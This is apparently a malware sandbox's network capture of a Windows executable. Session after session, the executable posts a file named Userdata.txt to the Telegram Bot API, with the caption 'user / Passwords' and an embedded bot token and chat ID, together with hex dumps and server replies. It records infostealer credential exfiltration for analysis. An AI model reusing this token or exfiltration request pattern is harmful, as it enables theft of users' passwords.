2025-01-11 06:32:08 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 66 62 61 64 31 34 30 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd321fbad14072Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:08 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:08 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44889,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577128,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50016	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:11 UTC	271	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3240e3413414 Host: api.telegram.org Content-Length: 1090
2025-01-11 06:32:11 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 30 65 33 34 31 33 34 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3240e3413414Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:11 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:11 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44890,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577131,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50018	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:12 UTC	271	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3255893946b1 Host: api.telegram.org Content-Length: 1090
2025-01-11 06:32:12 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 35 38 39 33 39 34 36 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3255893946b1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:12 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:12 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44891,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577132,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50020	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:15 UTC	271	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd327ea937c2a5 Host: api.telegram.org Content-Length: 1090
2025-01-11 06:32:15 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 37 65 61 39 33 37 63 32 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd327ea937c2a5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:16 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:16 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44892,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577136,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50022	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:17 UTC	271	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3293232591dd Host: api.telegram.org Content-Length: 1090
2025-01-11 06:32:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 33 32 33 32 35 39 31 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3293232591ddContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:17 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:17 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44893,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577137,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50024	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:20 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32b9327f2f0c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 62 39 33 32 37 66 32 66 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32b9327f2f0cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:21 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:21 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44894,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577141,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50026	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:23 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32dc5952d48d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 63 35 39 35 32 64 34 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32dc5952d48dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:24 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:24 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44895,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577144,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50028	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:26 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ff5404f1e0 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 66 66 35 34 30 34 66 31 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ff5404f1e0Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:26 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
